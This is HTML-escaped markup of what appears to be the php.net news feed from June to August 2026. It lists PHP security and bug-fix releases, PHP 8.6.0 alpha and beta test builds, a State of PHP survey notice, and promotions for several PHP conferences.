&lt;p&gt;The &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://surveys.jetbrains.com/s3/phpnet-state-of-php-2026&quot;&gt;State of PHP survey&lt;/a&gt; is still open, but not for much longer. It asks how PHP is working for you: what you build with, what is painful, and what you think PHP should focus on next. It takes around 15 minutes.&lt;/p&gt;
&lt;p&gt;The survey is run by &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://thephp.foundation/&quot;&gt;The PHP Foundation&lt;/a&gt; in partnership with &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.jetbrains.com/phpstorm/&quot;&gt;PhpStorm&lt;/a&gt; by JetBrains.&lt;/p&gt;
&lt;p&gt;The aggregated results will be published later this year as the State of PHP 2026 report. The anonymized raw dataset will be released along with it, so anyone in the community can check the numbers or run their own analysis.&lt;/p&gt;
&lt;p&gt;More responses mean a better picture of what matters to PHP users. If you have not filled it in yet, please do, and share it with your colleagues and user groups.&lt;/p&gt;
&lt;p&gt;18 Aug 2026&lt;/p&gt;
&lt;h2&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/archive/2026.php#2026-08-18-1&quot;&gt;LonghornPHP 2026&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://longhornphp.com/schedule&quot;&gt;&lt;picture class=&quot;article-picture article-picture-fallback&quot; style=&quot;--image-ratio:16 / 9&quot;&gt;&lt;img src=&quot;https://www.php.net//images/news/longhornphp.png&quot; alt=&quot;LonghornPHP&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; fetchpriority=&quot;low&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;progressive-image&quot;&gt;&lt;/picture&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Longhorn PHP is back for 2026! The schedule is now live, and tickets are on sale! The conference will be held in Austin, Texas, and will start with an optional tutorial day on Thursday, October 15, followed by a full day of talks, keynotes, open spaces and more, on Friday, October 16. &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://longhornphp.com/schedule&quot;&gt;Our full schedule is available now&lt;/a&gt;, with Early Bird pricing available through end of day September 16th.&lt;/p&gt;
&lt;p&gt;13 Aug 2026&lt;/p&gt;
&lt;h2&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/archive/2026.php#2026-08-13-1&quot;&gt;PHP 8.6.0 Beta 1 is available for testing&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;The PHP team is pleased to announce the first beta release of PHP 8.6.0, Beta 1. This continues the PHP 8.6 release cycle, the rough outline of which is specified in the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://wiki.php.net/todo/php86&quot;&gt;PHP Wiki&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;For source downloads of PHP 8.6.0 Beta 1 please visit the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://downloads.php.net/~svpernova09/&quot;&gt;download page&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Please carefully test this version and report any issues found &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/php/php-src/issues/new?template=bug_report.yml&quot;&gt;on GitHub&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Please DO NOT use this version in production, it is an early test version.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;For more information on the new features and other changes, you can read the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/php/php-src/blob/php-8.6.0beta1/NEWS&quot;&gt;NEWS&lt;/a&gt; file, or the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/php/php-src/blob/php-8.6.0beta1/UPGRADING&quot;&gt;UPGRADING&lt;/a&gt; file for a complete list of upgrading notes. These files can also be found in the release archive.&lt;/p&gt;
&lt;p&gt;The next release will be Beta 2, planned for 27 Aug 2026.&lt;/p&gt;
&lt;p&gt;The signatures for the release can be found in the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://gist.github.com/svpernova09/c79e500ff918fa7eccd31852bb59746b&quot;&gt;manifest&lt;/a&gt; or on the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/release-candidates.php&quot;&gt;Release Candidates page&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Thank you for helping us make PHP better.&lt;/p&gt;
&lt;p&gt;30 Jul 2026&lt;/p&gt;
&lt;h2&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/archive/2026.php#2026-07-30-5&quot;&gt;PHP 8.4.24 Released!&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;The PHP development team announces the immediate availability of PHP 8.4.24. This is a security release.&lt;/p&gt;
&lt;p&gt;All PHP 8.4 users are encouraged to upgrade to this version.&lt;/p&gt;
&lt;p&gt;For source downloads of PHP 8.4.24 please visit our &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/downloads.php&quot;&gt;downloads page&lt;/a&gt;, Windows source and binaries can also be found &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/downloads.php?os=windows&amp;amp;version=8.4&quot;&gt;there&lt;/a&gt;. The list of changes is recorded in the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/ChangeLog-8.php#8.4.24&quot;&gt;ChangeLog&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;30 Jul 2026&lt;/p&gt;
&lt;h2&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/archive/2026.php#2026-07-30-4&quot;&gt;PHP 8.3.33 Released!&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;The PHP development team announces the immediate availability of PHP 8.3.33. This is a security release.&lt;/p&gt;
&lt;p&gt;All PHP 8.3 users are encouraged to upgrade to this version.&lt;/p&gt;
&lt;p&gt;For source downloads of PHP 8.3.33 please visit our &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/downloads.php&quot;&gt;downloads page&lt;/a&gt;, Windows source and binaries can also be found &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/downloads.php?os=windows&amp;amp;version=8.3&quot;&gt;there&lt;/a&gt;. The list of changes is recorded in the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/ChangeLog-8.php#8.3.33&quot;&gt;ChangeLog&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;30 Jul 2026&lt;/p&gt;
&lt;h2&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/archive/2026.php#2026-07-30-3&quot;&gt;PHP 8.6.0 Alpha 3 available for testing&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;The PHP team is pleased to announce the second testing release of PHP 8.6.0, Alpha 3. This continues the PHP 8.6 release cycle, the rough outline of which is specified in the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://wiki.php.net/todo/php86&quot;&gt;PHP Wiki&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;For source downloads of PHP 8.6.0 Alpha 3 please visit the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://downloads.php.net/~mbeccati/&quot;&gt;download page&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Please carefully test this version and report any issues found in the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/php/php-src/issues/new?template=bug_report.yml&quot;&gt;GitHub Issues&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Please DO NOT use this version in production, it is an early test version.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;For more information on the new features and other changes, you can read the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/php/php-src/blob/php-8.6.0alpha3/NEWS&quot;&gt;NEWS&lt;/a&gt; file, or the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/php/php-src/blob/php-8.6.0alpha3/UPGRADING&quot;&gt;UPGRADING&lt;/a&gt; file for a complete list of upgrading notes. These files can also be found in the release archive.&lt;/p&gt;
&lt;p&gt;The next release will be Beta 1, planned for 13 August 2026.&lt;/p&gt;
&lt;p&gt;The signatures for the release can be found in the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://gist.github.com/mbeccati/a78ae3c3bafa22839c619d1c81d286ae&quot;&gt;manifest&lt;/a&gt; or on the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/pre-release-builds.php&quot;&gt;pre-release builds&lt;/a&gt; page.&lt;/p&gt;
&lt;p&gt;Thank you for helping us make PHP better.&lt;/p&gt;
&lt;p&gt;30 Jul 2026&lt;/p&gt;
&lt;h2&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/archive/2026.php#2026-07-30-2&quot;&gt;PHP 8.5.9 Released!&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;The PHP development team announces the immediate availability of PHP 8.5.9. This is a security release.&lt;/p&gt;
&lt;p&gt;All PHP 8.5 users are encouraged to upgrade to this version.&lt;/p&gt;
&lt;p&gt;For source downloads of PHP 8.5.9 please visit our &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/downloads.php&quot;&gt;downloads page&lt;/a&gt;, Windows source and binaries can also be found &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/downloads.php?os=windows&amp;amp;version=8.5&quot;&gt;there&lt;/a&gt;. The list of changes is recorded in the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/ChangeLog-8.php#8.5.9&quot;&gt;ChangeLog&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;30 Jul 2026&lt;/p&gt;
&lt;h2&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/archive/2026.php#2026-07-30-1&quot;&gt;PHP 8.2.33 Released!&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;The PHP development team announces the immediate availability of PHP 8.2.33. This is a security release.&lt;/p&gt;
&lt;p&gt;All PHP 8.2 users are encouraged to upgrade to this version.&lt;/p&gt;
&lt;p&gt;For source downloads of PHP 8.2.33 please visit our &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/downloads.php&quot;&gt;downloads page&lt;/a&gt;, Windows source and binaries can also be found &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/downloads.php?os=windows&amp;amp;version=8.2&quot;&gt;there&lt;/a&gt;. The list of changes is recorded in the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/ChangeLog-8.php#8.2.33&quot;&gt;ChangeLog&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;16 Jul 2026&lt;/p&gt;
&lt;h2&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/archive/2026.php#2026-07-16-1&quot;&gt;PHP 8.6.0 Alpha 2 available for testing&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;The PHP team is pleased to announce the second testing release of PHP 8.6.0, Alpha 2. This continues the PHP 8.6 release cycle, the rough outline of which is specified in the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://wiki.php.net/todo/php86&quot;&gt;PHP Wiki&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;For source downloads of PHP 8.6.0 Alpha 2 please visit the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://downloads.php.net/~svpernova09/&quot;&gt;download page&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Please carefully test this version and report any issues found in the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/php/php-src/issues/new?template=bug_report.yml&quot;&gt;GitHub Issues&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Please DO NOT use this version in production, it is an early test version.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;For more information on the new features and other changes, you can read the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/php/php-src/blob/php-8.6.0alpha2/NEWS&quot;&gt;NEWS&lt;/a&gt; file, or the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/php/php-src/blob/php-8.6.0alpha2/UPGRADING&quot;&gt;UPGRADING&lt;/a&gt; file for a complete list of upgrading notes. These files can also be found in the release archive.&lt;/p&gt;
&lt;p&gt;The next release will be Alpha 3, planned for 30 July 2026.&lt;/p&gt;
&lt;p&gt;The signatures for the release can be found in the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://gist.github.com/svpernova09/9fe74e859313cf4dee4953fae81b558a&quot;&gt;manifest&lt;/a&gt; or on the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/pre-release-builds.php&quot;&gt;pre-release builds&lt;/a&gt; page.&lt;/p&gt;
&lt;p&gt;Thank you for helping us make PHP better.&lt;/p&gt;
&lt;p&gt;13 Jul 2026&lt;/p&gt;
&lt;h2&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://phpconference.com/munich/&quot;&gt;International PHP Conference Munich 2026&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://phpconference.com/munich/&quot;&gt;&lt;picture class=&quot;article-picture article-picture-fallback&quot; style=&quot;--image-ratio:16 / 9&quot;&gt;&lt;img src=&quot;https://www.php.net//images/news/IPC.png&quot; alt=&quot;International PHP Conference Munich 2026&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; fetchpriority=&quot;low&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;progressive-image&quot;&gt;&lt;/picture&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://phpconference.com/munich/&quot;&gt;The International PHP Conference&lt;/a&gt; is the world&#39;s first PHP conference and has stood for more than two decades for top-notch pragmatic expertise in PHP and web technologies. At the IPC, internationally renowned experts from the PHP industry meet up with PHP users and developers from large and small companies. Here is the place where concepts emerge and ideas are born – the IPC signifies knowledge transfer at the highest level.&lt;/p&gt;
&lt;p&gt;Basic facts:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Date: October 26 – 30, 2026&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Location: Holiday Inn Munich City Centre, Munich or Online&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Highlights:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;60+ best practice sessions&lt;/li&gt;
&lt;li&gt;50+ international top speakers&lt;/li&gt;
&lt;li&gt;PHPower: Hands-on Power Workshops&lt;/li&gt;
&lt;li&gt;2-Day Bootcamp on Thursday and Friday&lt;/li&gt;
&lt;li&gt;Expo with exciting exhibitors on October 27 &amp;amp; 28&lt;/li&gt;
&lt;li&gt;All inclusive: Changing buffets, snacks &amp;amp; refreshing drinks&lt;/li&gt;
&lt;li&gt;Official certificate for attendees&lt;/li&gt;
&lt;li&gt;Free Goodies: Developer bag, T-Shirt, magazines etc.&lt;/li&gt;
&lt;li&gt;Exclusive networking events&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For further information on the International PHP Conference Munich visit: &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://phpconference.com/munich/&quot;&gt;https://phpconference.com/munich/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://phptek.io&quot;&gt;&lt;picture class=&quot;article-picture article-picture-fallback&quot; style=&quot;--image-ratio:16 / 9&quot;&gt;&lt;img src=&quot;https://www.php.net//images/news/php-tek-2027.png&quot; alt=&quot;PHP Tek 2027 Logo&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; fetchpriority=&quot;low&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;progressive-image&quot;&gt;&lt;/picture&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Join us for the 19th Annual Web Developer Conference, PHP Tek 2027, April 27-29 2026.&lt;/p&gt;
&lt;p&gt;PHP Tek combines leadership, expertise, and networking in one event. A relaxing atmosphere for tech leaders and developers to share, learn and grow professionally while also providing you with the knowledge to solve your everyday problems.&lt;/p&gt;
&lt;p&gt;We are the longest-running web developer conference in the United States, focusing on the PHP programming language. The event is broken up into multiple days. The main conference happens over the course of 3 days (April 27-29) and includes keynotes, talks, and networking options. It will be broken into three tracks and will cover a range of topics. There will be two dedicated PHP Tracks, and then each day will have a different 3rd track (JS/Laravel/DevOps)&lt;/p&gt;
&lt;p&gt;Head over to &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://phptek.io&quot;&gt;https://phptek.io&lt;/a&gt; and get yours today!&lt;/p&gt;
&lt;p&gt;02 Jul 2026&lt;/p&gt;
&lt;h2&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/archive/2026.php#2026-07-02-5&quot;&gt;PHP 8.5.8 Released!&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;The PHP development team announces the immediate availability of PHP 8.5.8. This is a security release.&lt;/p&gt;
&lt;p&gt;All PHP 8.5 users are encouraged to upgrade to this version.&lt;/p&gt;
&lt;p&gt;For source downloads of PHP 8.5.8 please visit our &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/downloads.php&quot;&gt;downloads page&lt;/a&gt;, Windows source and binaries can also be found &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/downloads.php?os=windows&amp;amp;version=8.5&quot;&gt;there&lt;/a&gt;. The list of changes is recorded in the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/ChangeLog-8.php#8.5.8&quot;&gt;ChangeLog&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;02 Jul 2026&lt;/p&gt;
&lt;h2&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/archive/2026.php#2026-07-02-4&quot;&gt;PHP 8.4.23 Released!&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;The PHP development team announces the immediate availability of PHP 8.4.23. This is a security release.&lt;/p&gt;
&lt;p&gt;All PHP 8.4 users are encouraged to upgrade to this version.&lt;/p&gt;
&lt;p&gt;For source downloads of PHP 8.4.23 please visit our &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/downloads.php&quot;&gt;downloads page&lt;/a&gt;, Windows source and binaries can also be found &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/downloads.php?os=windows&amp;amp;version=8.4&quot;&gt;there&lt;/a&gt;. The list of changes is recorded in the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/ChangeLog-8.php#8.4.23&quot;&gt;ChangeLog&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;02 Jul 2026&lt;/p&gt;
&lt;h2&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/archive/2026.php#2026-07-02-3&quot;&gt;PHP 8.6.0 Alpha 1 available for testing&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;The PHP team is pleased to announce the first testing release of PHP 8.6.0, Alpha 1. This starts the PHP 8.6 release cycle, the rough outline of which is specified in the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://wiki.php.net/todo/php86&quot;&gt;PHP Wiki&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;For source downloads of PHP 8.6.0 Alpha 1 please visit the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://downloads.php.net/~mbeccati/&quot;&gt;download page&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Please carefully test this version and report any issues found in the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/php/php-src/issues/new?template=bug_report.yml&quot;&gt;GitHub Issues&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Please DO NOT use this version in production, it is an early test version.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;For more information on the new features and other changes, you can read the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/php/php-src/blob/php-8.6.0alpha1/NEWS&quot;&gt;NEWS&lt;/a&gt; file, or the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/php/php-src/blob/php-8.6.0alpha1/UPGRADING&quot;&gt;UPGRADING&lt;/a&gt; file for a complete list of upgrading notes. These files can also be found in the release archive.&lt;/p&gt;
&lt;p&gt;The next release will be Alpha 2, planned for 16 July 2026.&lt;/p&gt;
&lt;p&gt;The signatures for the release can be found in the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://gist.github.com/mbeccati/cd5a6c66558e0204a140381029559b16&quot;&gt;manifest&lt;/a&gt; or on the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/pre-release-builds.php&quot;&gt;pre-release builds&lt;/a&gt; page.&lt;/p&gt;
&lt;p&gt;Thank you for helping us make PHP better.&lt;/p&gt;
&lt;p&gt;02 Jul 2026&lt;/p&gt;
&lt;h2&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/archive/2026.php#2026-07-02-2&quot;&gt;PHP 8.3.32 Released!&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;The PHP development team announces the immediate availability of PHP 8.3.32. This is a security release.&lt;/p&gt;
&lt;p&gt;All PHP 8.3 users are encouraged to upgrade to this version.&lt;/p&gt;
&lt;p&gt;For source downloads of PHP 8.3.32 please visit our &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/downloads.php&quot;&gt;downloads page&lt;/a&gt;, Windows source and binaries can also be found &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/downloads.php?os=windows&amp;amp;version=8.3&quot;&gt;there&lt;/a&gt;. The list of changes is recorded in the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/ChangeLog-8.php#8.3.32&quot;&gt;ChangeLog&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;02 Jul 2026&lt;/p&gt;
&lt;h2&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/archive/2026.php#2026-07-02-1&quot;&gt;PHP 8.2.32 Released!&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;The PHP development team announces the immediate availability of PHP 8.2.32. This is a security release.&lt;/p&gt;
&lt;p&gt;All PHP 8.2 users are encouraged to upgrade to this version.&lt;/p&gt;
&lt;p&gt;For source downloads of PHP 8.2.32 please visit our &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/downloads.php&quot;&gt;downloads page&lt;/a&gt;, Windows source and binaries can also be found &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/downloads.php?os=windows&amp;amp;version=8.2&quot;&gt;there&lt;/a&gt;. The list of changes is recorded in the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/ChangeLog-8.php#8.2.32&quot;&gt;ChangeLog&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;04 Jun 2026&lt;/p&gt;
&lt;h2&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/archive/2026.php#2026-06-04-2&quot;&gt;PHP 8.4.22 Released!&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;The PHP development team announces the immediate availability of PHP 8.4.22. This is a bug fix release.&lt;/p&gt;
&lt;p&gt;All PHP 8.4 users are encouraged to upgrade to this version.&lt;/p&gt;
&lt;p&gt;For source downloads of PHP 8.4.22 please visit our &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/downloads.php&quot;&gt;downloads page&lt;/a&gt;, Windows source and binaries can also be found &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/downloads.php?os=windows&amp;amp;version=8.4&quot;&gt;there&lt;/a&gt;. The list of changes is recorded in the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/ChangeLog-8.php#8.4.22&quot;&gt;ChangeLog&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;04 Jun 2026&lt;/p&gt;
&lt;h2&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/archive/2026.php#2026-06-04-1&quot;&gt;PHP 8.5.7 Released!&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;The PHP development team announces the immediate availability of PHP 8.5.7. This is a bug fix release.&lt;/p&gt;
&lt;p&gt;All PHP 8.5 users are encouraged to upgrade to this version.&lt;/p&gt;
&lt;p&gt;For source downloads of PHP 8.5.7 please visit our &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/downloads.php&quot;&gt;downloads page&lt;/a&gt;, Windows source and binaries can also be found &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/downloads.php?os=windows&amp;amp;version=8.5&quot;&gt;there&lt;/a&gt;. The list of changes is recorded in the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/ChangeLog-8.php#8.5.7&quot;&gt;ChangeLog&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://laracon.us&quot;&gt;&lt;picture class=&quot;article-picture article-picture-fallback&quot; style=&quot;--image-ratio:16 / 9&quot;&gt;&lt;img src=&quot;https://www.php.net//images/news/laraconus2026.jpg&quot; alt=&quot;Laracon US 2026&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; fetchpriority=&quot;low&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;progressive-image&quot;&gt;&lt;/picture&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Laracon US 2026 is the flagship Laravel conference, returning to the East Coast on July 28-29, 2026 at the SoWa Power Station in Boston, Massachusetts.&lt;/p&gt;
&lt;p&gt;Join Laravel and PHP developers from around the world for two days of world-class talks, hands-on learning, and community connection. Come ready to level up, leave ready to ship.&lt;/p&gt;
&lt;p&gt;Information:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;July 28-29, 2026&lt;/li&gt;
&lt;li&gt;SoWa Power Station, 550 Harrison Ave, Boston, MA, USA&lt;/li&gt;
&lt;li&gt;14+ confirmed speakers, including Taylor Otwell and Nuno Maduro&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Additional events like:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://luma.com/a97xou0l&quot;&gt;Dodgeball&lt;/a&gt; — July 27, 3:00 PM&lt;/li&gt;
&lt;li&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://luma.com/0j18sp8t&quot;&gt;Larabelles Meetup&lt;/a&gt; — July 27, 4:00 PM&lt;/li&gt;
&lt;li&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://luma.com/3ma69cwe&quot;&gt;Laraprom with Mostly Technical&lt;/a&gt; — July 27, 8:00 PM&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Plus an after party, VIP dinner, and &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://nativephp.com/the-vibes&quot;&gt;The Vibes with NativePHP&lt;/a&gt; are happening throughout the week.&lt;/p&gt;
&lt;p&gt;For full information and schedule, visit &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://laracon.us&quot;&gt;Laracon US 2026&lt;/a&gt;.&lt;/p&gt;
